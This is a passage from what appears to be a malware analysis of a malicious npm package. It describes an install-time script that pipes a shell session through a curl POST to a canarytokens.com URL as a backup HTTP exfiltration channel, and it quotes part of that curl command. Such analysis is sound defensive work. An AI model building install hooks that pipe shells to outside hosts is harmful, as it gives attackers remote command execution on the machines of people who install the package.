The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time.
